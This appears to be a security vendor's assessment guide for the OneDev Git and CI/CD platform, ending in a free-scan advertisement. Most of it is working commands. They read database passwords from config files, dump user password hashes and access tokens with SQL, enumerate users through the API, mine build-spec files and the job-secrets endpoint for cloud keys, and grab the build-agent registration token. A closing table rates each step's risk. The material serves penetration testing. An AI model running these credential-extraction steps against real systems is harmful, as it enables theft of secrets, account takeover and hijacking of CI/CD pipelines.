OneDev is a self-hosted Git and CI/CD platform that combines source code management with build automation in a single application. Key assessment areas: database.properties exposes the H2 or MySQL database password containing all platform data; the root account password is shown once at startup and is frequently stored insecurely; the REST API uses access tokens that grant full repository and pipeline access; and build job YAML definitions in repositories frequently contain hardcoded secrets, cloud credentials, and SSH keys used in deployment scripts. This guide covers systematic OneDev security assessment.
# OneDev — database.properties credential extraction
ONEDEV_URL="https://git.example.com"
# database.properties — OneDev database configuration
cat /opt/onedev/conf/database.properties 2>/dev/null
# For H2 (embedded, default):
# hibernate.connection.url=jdbc:h2:/opt/onedev/site/db;...
# hibernate.connection.username=sa
# hibernate.connection.password=
# For MySQL:
# hibernate.connection.url=jdbc:mysql://localhost/onedev
# hibernate.connection.username=onedev
# hibernate.connection.password=... <-- MySQL password
python3 -c "
content = open('/opt/onedev/conf/database.properties').read()
for line in content.splitlines():
if 'password' in line.lower() or 'url' in line.lower():
print(line.strip())
" 2>/dev/null
# H2 database direct access — OneDev uses H2 by default
# H2 database file is at /opt/onedev/site/db.mv.db
# Access H2 via its web console or jdbc if exposed
ls -la /opt/onedev/site/*.mv.db 2>/dev/null
# Unauthenticated server information disclosure
curl -s "${ONEDEV_URL}/~api/server-information" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'Server: {d.get(\"serverUrl\")}')
except: pass
" 2>/dev/null
# OneDev REST API — access token enumeration and repository access
ONEDEV_URL="https://git.example.com"
# OneDev REST API uses Bearer token authentication
# Tokens are created per-user in Settings > Access Tokens
# Tokens from database provide full access at the user's permission level
# List all users (unauthenticated in some versions)
curl -s "${ONEDEV_URL}/~api/users" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Total users: {len(d)}')
for u in d[:10]:
print(f' ID:{u.get(\"id\")} {u.get(\"name\")} ({u.get(\"email\")})')
except: pass
" 2>/dev/null
# With extracted access token — full repository enumeration
TOKEN="extracted-access-token"
# List all projects
curl -s "${ONEDEV_URL}/~api/projects" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for p in d[:10]:
print(f' {p.get(\"name\")}: {p.get(\"description\",\"\")[:50]}')
print(f' Path: {p.get(\"path\")}')
except: pass
" 2>/dev/null
# Clone any repository using access token
# git clone http://api:TOKEN@git.example.com/project-name
# Access build job definitions (contain secrets)
curl -s "${ONEDEV_URL}/~api/projects/1/builds" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | head -20
# List all access tokens in database (H2 or MySQL)
# H2: connect to database and query User table
# MySQL:
DB_PASS="extracted-mysql-password"
mysql -u onedev -p"${DB_PASS}" onedev 2>/dev/null << 'EOF'
-- User accounts with bcrypt password hashes
SELECT u.id, u.name, u.email, u.password_hash
FROM _User u
WHERE u.id > 0
ORDER BY u.id;
-- Access tokens per user
SELECT t.id, t.user_id, t.value, t.description
FROM AccessToken t
LIMIT 20;
EOF
# OneDev — build job secret and CI/CD pipeline credential extraction
ONEDEV_URL="https://git.example.com"
TOKEN="extracted-access-token"
# OneDev build jobs are defined in .onedev-buildspec.yml in each repository
# These YAML files frequently contain hardcoded secrets in script steps
# Access .onedev-buildspec.yml via API (raw file content)
# List all repositories and check their build specs
for PROJECT_ID in 1 2 3 4 5; do
BUILDSPEC=$(curl -s \
"${ONEDEV_URL}/~api/projects/${PROJECT_ID}/contents?path=.onedev-buildspec.yml&revision=main" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | \
python3 -c "import json,sys,base64; d=json.load(sys.stdin); print(base64.b64decode(d.get('base64Content','')).decode('utf-8','ignore'))" 2>/dev/null)
if [ -n "$BUILDSPEC" ]; then
echo "=== Project ${PROJECT_ID} .onedev-buildspec.yml ==="
# Search for embedded credentials
echo "$BUILDSPEC" | grep -iE "password|secret|key|token|aws_|api_key" | head -10
fi
done
# OneDev job secrets are stored in the project settings
# Extract via API: /~api/projects/{id}/job-secrets
curl -s "${ONEDEV_URL}/~api/projects/1/job-secrets" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for s in d:
print(f' Secret: {s.get(\"name\")} = {s.get(\"value\",\"[hidden]\")}')
except: pass
" 2>/dev/null
# Agent registration token extraction
# Build agents authenticate with a registration token stored in the database
cat /opt/onedev/site/agent-token 2>/dev/null
# If this token is compromised, an attacker can register a malicious build agent
# that receives and executes build jobs in the context of the CI/CD pipeline
| Security Test | Method | Risk |
|---|---|---|
| database.properties H2/MySQL password extraction | Read /opt/onedev/conf/database.properties — database credentials; H2 db.mv.db file contains all users, access tokens, and build history | Critical |
| H2 database file direct access | Read /opt/onedev/site/db.mv.db — complete OneDev database; all users, bcrypt hashes, access tokens, project data, job secrets | Critical |
| Access token extraction from database | MySQL/H2 SELECT value FROM AccessToken — all user access tokens enabling full repository clone, API access, build trigger | High |
| Build job YAML hardcoded secret extraction | GET /~api/projects/{id}/contents?path=.onedev-buildspec.yml — AWS keys, Docker passwords, SSH keys, K8s tokens in build scripts | High |
| Agent registration token extraction | Read /opt/onedev/site/agent-token — register malicious build agent; receive and intercept production CI/CD job execution | High |
Ironimo tests OneDev deployments for database.properties H2/MySQL password extraction, H2 db.mv.db file direct access assessment, access token extraction from AccessToken table, root account password brute-force, /~api/server-information unauthenticated version disclosure, .onedev-buildspec.yml hardcoded secret scanning across all repositories, job secret API extraction, agent registration token file access, user enumeration via /~api/users, and repository clone access via extracted tokens across all projects.
Start free scan